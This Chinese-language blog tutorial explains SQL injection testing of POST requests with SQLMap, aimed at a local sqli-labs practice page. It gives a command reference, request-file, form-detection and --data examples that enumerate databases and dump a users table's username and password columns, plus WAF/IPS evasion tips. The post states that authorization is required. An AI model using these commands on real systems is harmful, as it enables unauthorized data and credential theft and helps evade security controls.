当前位置: 首页 > news >正文

详细介绍:【SQLMap】POST请求注入

SQL注入是Web安全领域最常见的高危漏洞之一,而POST型注入因其数据不可见性,在测试中得特殊处理。SQLMap作为自动化SQL注入应用,能高效地帮助我们发现和利用这类漏洞。

POST注入与GET注入的关键区别

POST注入与GET注入的核心区别在于​​数据传递方式​​不同

特性

GET请求

POST请求

​数据传输方式​

通过URL传递(参数在地址栏可见)

通过请求体传递(数据不可见)

​数据量限制​

较小,受URL长度限制

较大,无URL长度限制

​安全性​

较低,参数易被缓存和记录

相对较高

​测试可见性​

直接可见,易于测试

不可见,需抓包或工具辅助

SQLMap 常用命令速查表

命令参数

功能说明

使用示例

-u <URL>

​指定目标URL​​(最常用)

sqlmap -u "http://example.com/page.php?id=1"

--data=<DATA>

​指定POST请求的数据​

sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"

-r <FILE>

​从文件加载HTTP请求​​(常用于POST注入)

sqlmap -r request.txt(文件通常由BurpSuite抓包保存)

-p

​指定测试的参数​

sqlmap -u "http://example.com/page.php?id=1&cat=2" -p "id"(只测试id参数)

--forms

​自动检测并测试页面中的表单​

sqlmap -u "http://example.com/login.php" --forms

--current-db

​获取当前数据库名​

sqlmap -u "http://example.com/page.php?id=1" --current-db

--dbs

​枚举所有数据库​

sqlmap -u "http://example.com/page.php?id=1" --dbs

--tables

​枚举指定数据库中的所有表​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> --tables

--columns

​枚举指定表中的所有列​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --columns

--dump

​导出(提取)指定表中的数据​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --dump

--batch

​使用非交互模式​​(自动选择默认选项)

通常加在其他命令后,避免SQLMap中途询问

--level=<LEVEL>

​设置测试等级​​(1-5,默认1)等级越高,测试越全面

--level=3(会检测User-Agent、Referer头)

--risk=<RISK>

​设置风险等级​​(1-3,默认1)等级越高,测试越具侵入性

--risk=2

SQLMap进行POST注入的实战方法

一:BurpSuite抓包+文件读取

此技巧利用BurpSuite等抓包工具捕获完整的POST请求,保存为资料后供SQLMap直接读取,准确性高。

  1. ​抓包并保存​​:使用BurpSuite拦截POST请求,将完整请求(包括Headers和Body)复制保存为文本文件(如1.txt

  2. ​使用SQLMap读取文件进行测试​

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -dbs # 基本命令

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --current-db #展示网站库名

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security --tables # 获取指定数据库(security)的所有表

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security -T users --columns # 获取指定表(users)的所有列

指定参数。在1.txt文件中指定要扫描的参数,其他就参数不会扫描

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --dbs

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p username -D security -T users -C username,password --dump

二:自动表单检测(--forms)

让SQLMap自动分析目标页面,发现并测试所有表单。

让SQLMap自动发现并测试表单

sqlmap.py -u "http://localhost/sql/Less-12/index.php" --forms --dbs

  • ​优点​​:无需抓包,快捷便捷。

  • ​缺点​​:可能无法检测到所有参数(如Headers或Cookie中的参数)

三:直接指定POST内容(--data)

手动指定POST请求的参数进行测试。

# 直接通过--data指定POST参数
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456"[1,4](@ref)


# 指定请求方法为POST(某些场景需要)
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" --method=POST[4](@ref)


# 结合其他参数指定测试字段
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" -p username --dbs

​高级技巧​​:

--batch # 使用默认选项,无需交互确认(适合自动化)
--delay 2 # 设置请求延迟,避免触发防护
--proxy="http://127.0.0.1:8080" # 设置代理,便于调试
--tamper # 使用混淆脚本绕过WAF/IDS

重要注意事项

所有测试必须在获得明确授权的目标上进行,未经授权的测试属于违法行为

WAF/IPS绕过​​:实战中目标准系统可能部署有WAF或IPS。可尝试以下方法绕过:

使用 --tamper参数(如 space2comment)对Payload进行混淆

增加 --level--risk参数值,提高测试的深度和广度

使用 --random-agent随机化User-Agent,避免被识别

感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。

http://www.zskr.cn/news/8086.html

相关文章:

  • ctfshow web51
  • ctfshow web46
  • 线性调频信号(LFM)在雷达中的时域及频域MATLAB编程
  • 最大流判定+拆点
  • Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解
  • Flash Attention算法动画
  • 【技术实现】7天极速搭建体育比分网站 - 世界杯期间流量红利抓取实战
  • C#开发ONVIF客户端与RTSP播放库指南
  • 经验分享 —— 在 Ubuntu 虚拟机中部署 OceanBase 数据库
  • CH584 CH585 复位状态寄存器
  • AppConfig
  • 绕过安全控制安装第三方软件
  • 软件体系结构概论 1章
  • SQLSERVER数据备份 - 实践
  • 逆向分析之if语句与循环语句的分析
  • ROMA-iOS适配深色模式总结
  • Git 指令笔记 - 详解
  • Syntax Error: TypeError: eslint.CLIEngine is not a constructor 解决方案
  • 【ACM出版】2025年人工智能、虚拟现实与交互设计国际学术会议(AIVRID 2025)
  • 《sklearn机器学习——特征提取》 - 指南
  • Windows 10 11 Boot Fix
  • ubuntu 安装 milvus
  • SI/PI学习笔记1 -20250911
  • Web开发工具一套式部署Maven/Nvm/Mysql/Redis - 教程
  • 单词翻转
  • 详细介绍:kafka如何保证消息不被重复消费
  • C++ 最开始的地方
  • ClkLog埋点与用户行为分析系统:架构升级与性能全面提升
  • ARC187 做题记
  • lombok与mapstruct冲突的问题